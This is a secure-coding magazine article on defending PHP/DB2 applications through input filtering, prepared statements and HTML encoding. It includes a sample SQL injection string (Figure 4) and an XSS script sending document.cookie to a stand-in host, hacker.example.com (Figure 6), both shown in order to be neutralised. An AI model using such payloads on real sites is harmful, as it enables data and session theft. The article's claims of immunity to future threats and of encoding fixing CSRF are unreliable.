Secure Web Programming Techniques

Build security into your applications

by Alan Seiden

IN "CONFIGURE A SAFE ENVIRONMENT for PHP Web Apps" (December 2007, article 21096 at *SystemiNetwork.com*), I showed how to configure a secure environment in Zend Core for i5/OS. Now we'll delve into the next layer of security: your PHP application itself. Specifically, you'll learn how to protect your web applications from three of the most common attack techniques: SQL injection, cross-site scripting, and cross-site request forgery.

Three Secure Practices

Hackers often penetrate application security by passing bogus input through form fields and URLs, or by hijacking the JavaScript your application outputs to user browsers. Have you tested how well your web application handles tricky input, such as names that contain apostrophes or text full of JavaScript code? If you haven't, then your site may be vulnerable to both accidents and hackers.

Fortunately, you can protect your data and users with the following three practices:

- filter input
- "prepare" SQL (MySQL and DB2) statements
- encode/escape HTML output

Although these three steps aren't the only strategies for application security, they cover 99 percent of the attacks that typically take down websites or repurpose them to evil ends. By consistently applying these three steps, you'll head off such popular attacks as SQL injection, cross-site scripting, and cross-site request forgery. These safeguards work with PHP in any environment, including Zend Core for i5/OS.

Filter Input

Filtering is the first practice to learn because it's your application's earliest chance to reject an attack. If malicious or unexpected input enters your application's inner processing, the problem may go undetected till damage is done. Therefore, applications should inspect input and reject any that is not totally correct. This practice is known as filtering input.

Think of filtering as the skin on your application's "body." Just as your own skin acts as a barrier to pollutants and infection, filtering keeps out bad data. If invalid input should pierce the "skin," the application may, with effort, neutralize the threat, but not so neatly or easily.

Filtering limits all types of attacks and errors, because it restricts input to just what you expect and what you believe the application needs.

When you filter input, you check to see that it contains correct data. For example, you might verify that

- a numeric value is really numeric
- an e-mail address has a valid e-mail format
- an application-defined code is one of the acceptable values you've defined

To filter consistently, you need to know which input has been filtered and which has not. Naming conventions can help. A popular convention, used by Chris Shiflett in his book *Essential PHP Security* (O'Reilly, 2005), suggests that you collect filtered input in an array called $clean. Data in $clean can be trusted; other data can't.

For example, Figure 1 shows how to filter an e-mail address that was submitted by a web form's POST method, checking the e-mail format with PHP's filter_input() function.

As Figure 1 shows, you should focus first on filtering PHP's $_GET and $_POST arrays, because these come directly from user requests.

In addition, for critical applications, you might filter less obvious sources of input:

- fields retrieved from databases (even your trusty DB2 database — you can't guarantee that it contains only filtered data)
- XML received from other computers
- web server variables, such as $_SERVER ['HTTP_HOST'], that come from the user's request (and therefore are unpredictable)

FIGURE 1
The filter_input function

```
<?php
// filter_input tests a value against a predefined filter
$emailTest = filter_input(INPUT_POST, 'email', FILTER_
VALIDATE_EMAIL);
if (is_null($emailTest)) {
    // missing
    die("An 'e-mail' address is required.<br />");
} elseif ($emailTest === FALSE) {
    // incorrectly formatted
    die("Please enter a valid e-mail address.<br />");
} else {
    // valid address, so it goes in the $clean array
    $clean['email'] =$emailTest;
    echo $clean['email'];
}
?>
```

FIGURE 2
Traditional query fails upon encountering an apostrophe

```
<?php
//
$conn = db2_connect('', '', '');
//
// Say that a user typed the name O'SHEA. We filtered the name
so that $clean['lname'] equals O'SHEA. $clean['status'] equals
A.
//
// Now concatenate SQL the traditional way.
$sql = "select custno from custfile where lname = '" .
$clean['lname'] . "' and status = '" . $clean['status'] . "'";
//
// value of $sql:
// select custno from mylib.custfile where lname = 'O'SHEA'
and status = 'A'
//
// The embedded apostrophe in 'O'SHEA' will cause an error
("Token SHEA was not valid").
$rs = db2_exec($conn,  $sql); // run query in one step. error!
while ($row = db2_fetch_both($rs)) {
        echo $row['custno'] . '<br>' ;
}
db2_close($conn);
?>
```

Some web pages use JavaScript to validate users' form entries before allowing users to submit them. Although such browser-based validation helps prevent data-entry errors, it does not guarantee safe input. (After all, JavaScript can be disabled, or a hacker can make a local copy of an HTML document and modify the JavaScript.) Therefore, even if you validate in the browser, don't forget to filter input on the server.

Prepare SQL Statements

After you have filtered your application's input, chances are that some of it will be transformed into SQL queries that interact with your database. Unfortunately, if the input contains an apostrophe (') or other SQL symbols, the database may misunderstand the query and do who knows what! (Such input can be part of a deliberate attack, as I'll explain in a moment.)

You can avoid this problem by "preparing" your SQL statements — that is, specifying user-provided input in a separate step from the basic query.

With DB2, you can perform these two steps with two or three PHP functions:

- db2_prepare (*http://php.net/manual/en/function.db2-prepare.php*)
- db2_bind_param (*http://www.php.net/manual/en/function.db2-bind-param.php*), optional
- db2_execute (*http://php.net/manual/en/function.db2-execute.php*)

The equivalent MySQL functions (*http://php.net/mysqli*) are

- prepare
- bind_param
- execute

Figure 2 shows how an apostrophe can cause catastrophe for a traditional concatenated SQL string and db2_exec. Figure 3 provides the solution using db2_prepare and db2_execute.

Aside from preserving your query's integrity, prepared statements offer these benefits:

Save resources on multiple query executions. As your script runs, if it reuses the query with different parameters, you don't have to rerun db2_prepare. The query engine reuses its execution plan.

Save resources in future program executions. Between calls to your script, the query engine may be able to cache (remember) the query's execution plan. The engine will attempt to recognize its saved query when you run db2_prepare.

Prevent mistakes. Prepared statements are simpler to program (and to read later) than traditional, all-inclusive SQL that is created by string concatenation.

Not every database interface supports prepared statements. Fortunately, the ibm_db2 extension included in Zend Core does. As for MySQL, the older mysql extension does not support prepared statements, but mysqli (MySQL improved) does. Both are included in Zend Core. For information on mysqli, including syntax for prepared statements, see *http://php.net/mysqli*.

Use SQL injection. Over the years, attackers have learned how to exploit SQL's vulnerabilities I've just described. A user who types SQL commands into a web form may be able to steal, corrupt, or delete data in an attack called "SQL injection." As I said earlier, though, prepared statements will foil these attacks.

Look at Figure 2 again. What if the value of $clean['lname'] were something more calculated than the name O'SHEA? It could contain SQL language to really confuse the database engine. For example, look at Figure 4.

In this example, no error will occur, but every record in the table will be selected. This is due to two elements in the SQL:

- "OR" causes the first parameter, lname, to be irrelevant. The "1=1" comparison will always be true, for every record.
- "--" indicates that whatever follows is a comment. The query engine will ignore the clause that compares the value of the status field.

Fortunately, you can avoid SQL injection attempts such as the example in Figure 4 by using prepared statements. If we'd used a prepared statement, the database would simply have looked for records where lname matched "x' OR 1=1—" and come up empty.

For more information on SQL injection, visit *http://shiflett.org/articles/sql-injection*.

Encode/Escape HTML Output

Once you filter input and safeguard database queries, it's time to deal with output. Web browsers face a challenge similar to that of databases receiving SQL. If you output user-submitted data containing HTML or JavaScript code, the browser will execute that code, leading to problems such as cross-site scripting (XSS) and cross-site request forgeries (CSRF). (I'll discuss these threats further in a moment.) Therefore, you must always encode (neutralize) HTML characters found in user-submitted text so the browser can display them, not execute them.

Characters to encode include <, >, ', ", and many more. The safest, strictest encoding function is PHP's htmlentities function (manual page: *http://php.net/htmlentities*), which neutralizes all HTML and JavaScript characters. For example, if someone entered <b>, the text would appear on the screen just like that, instead of acting as an HTML "bold" tag. Here's an example:

```
$encodedData = htmlentities(
  $rawData, ENT_QUOTES);
```

If you want to allow some HTML attributes in output, such as <b> (bold) or <i> (italics), consider Chris Snyder's safe_html() function (*http://chxo.com/scripts/safe_html/index.html*).

As is the case when you're filtering input, naming conventions ensure consistency when you're encoding output. Chris Shiflett recommends naming an array "$HTML" and storing encoded output in it.

Figure 5 shows how to encode HTML and store it in an array called $HTML, from which the data can safely be output to the browser.

FIGURE 3
Prepared query statement handles the apostrophe

```
<?php
//
$conn = db2_connect('', '', '');
//
// Say that a user typed the name O'SHEA. We filtered the
name so that $clean['lname'] equals O'SHEA. $clean['status']
equals A.
//
// // "prepare" method: specify instructions and variable
input in two separate steps.
// 1. In place of variable input, use generic placeholders
(usually question marks).
$sql = "select custno from mylib.custfile where lname = ? and
status = ?";
$stmt = db2_prepare($conn, $sql);
//
// 2. Bind variable parameters; execute the query.
$params = array($clean['lname'], $clean['status']);
$result = db2_execute($stmt, $params); // send parameters to
server, run query
//
// No error. All is well.
while ($row = db2_fetch_both($stmt)) {
       echo $row['CUSTNO'] . '<br>' ;
}

db2_close($conn);
?>
```

FIGURE 4
SQL injection example

```
$clean['lname'] = "x' OR 1=1--"; // pretend we got this from
data the user posted
$sql = "select custno from custfile where lname = '" .
$clean['lname'] . "' and status = '" . $clean['status'] . "'";
//
// value of $sql:
// select custno from mylib.custfile where lname = 'x' OR
1=1--' and status = 'A'
```

FIGURE 5
Encode HTML data in an array called $HTML

```
<?php

// posted name: James "Big Jim" McCoy
$clean = array();
$clean['lname'] = 'James "Big Jim" McCoy';// assume it was
filtered appropriately from $_POST array
//
// Demonstration: unencoded text (problems!)
// In the following text box, because quotation marks are used
as a delimiter of the value attribute, the name will end at
the first quotation mark: James
?>
<input type="text" name="lname" value="<?= $clean['lname']
?>">
<?php
// Demonstration: encoded text (success!)
$HTML = array(); // escape it before displaying.
$HTML['lname'] = htmlentities($clean['lname'], ENT_QUOTES);
?>
<input type="text" name="lname" value="<?= $HTML['lname'] ?>">
<?php
//  no problems this time; the quotation marks appeared
perfectly: James "Big Jim" McCoy
?>
```

(Note: Although the terms *encode* and *escape* are often used interchangeably, they really mean two different things. Encoding converts command characters to a safe, new format, such as hexadecimal numbers. Escaping also neutralizes command characters, but it

FIGURE 6
Simulation of a foiled XSS attack

```
<?php
// XSS demonstration
// imagine that $feedback came from an input field,
"feedback," containing javascript that would send our cookie
data to attacker's site
$feedback = "
<script>
    document.location = 'http://hacker.example.com/stealit.
php?cookies=' + document.cookie;
</script>
";

// unsafe: allows browser to run attacker's javascript
echo $feedback;

// safe: encode string for display, not execution
$HTML = array();
$HTML['feedback'] = htmlentities($feedback, ENT_QUOTES); //
strict encoding neutralizes all HTML and javascript
echo $HTML['feedback'];

?>
```

does so by inserting "escape" codes before them.)

XSS and CSRF. Web browsers generally prevent different sites from manipulating each other. For example, amazon.com cannot access cookies created by barnesandnoble.com. This protection can be bypassed, though, if an attacker inserts malicious code into a vulnerable site. The attacker's code will then have access to the site's cookies and other client-side resources, opening the door to XSS and CSRF.

Malicious code contaminates a site when a person (or a robotic program) types such code into web forums, web mail messages, or some other text-entry form. The code gets stored in the site's database and later reappears on the site's pages. From there, the code does its damage by being executed in the browsers of subsequent site visitors.

Malicious XSS code inherits all the privileges of your own JavaScript, because it's stored in your server and transmitted to users along with your other HTTP output. Thus, XSS can do serious harm, including these bits of mischief:

- steal cookies, and then use them to impersonate legitimate site users
- infect users with viruses
- make your site look weird

For an example of an XSS exploit, see Figure 6.

As noted earlier, you can prevent most XSS by encoding user-derived HTML with htmlentities() before outputting it. In addition, you can reject any suspicious input during the filtering stage.

CSRF is a related attack. It uses techniques similar to XSS, but instead of harming your own site, it may cause your site to commit cybercrime. When users view a CSRF-infected site, their browsers interact invisibly with other sites, such as by buying unwanted products from online stores.

Again, with CSRF as well as XSS, encoding output is the solution. For more information on XSS, visit *http://en.wikipedia.org/wiki/Cross-site_scripting*. A primer on CSRF is at *http://shiflett.org/articles/cross-site-request-forgeries*.

Secure Practices Protect You

Attackers are sure to invent new ways to misuse the web for their gain, but you can keep the upper hand. If you remember to filter input, prepare SQL statements, and encode HTML output, your site will be immune to the most common threats — even those not yet invented. ■

Alan Seiden *leads collaborative projects, develops software, and troubleshoots clients' perplexing problems. A member of New York PHP since 2004 and an early booster of PHP on System i, Alan was recently profiled in the newsletter of the New York Software Industry Association. Alan's IT blog is at www.alanseiden.com. E-mail: alan@alanseiden.com.*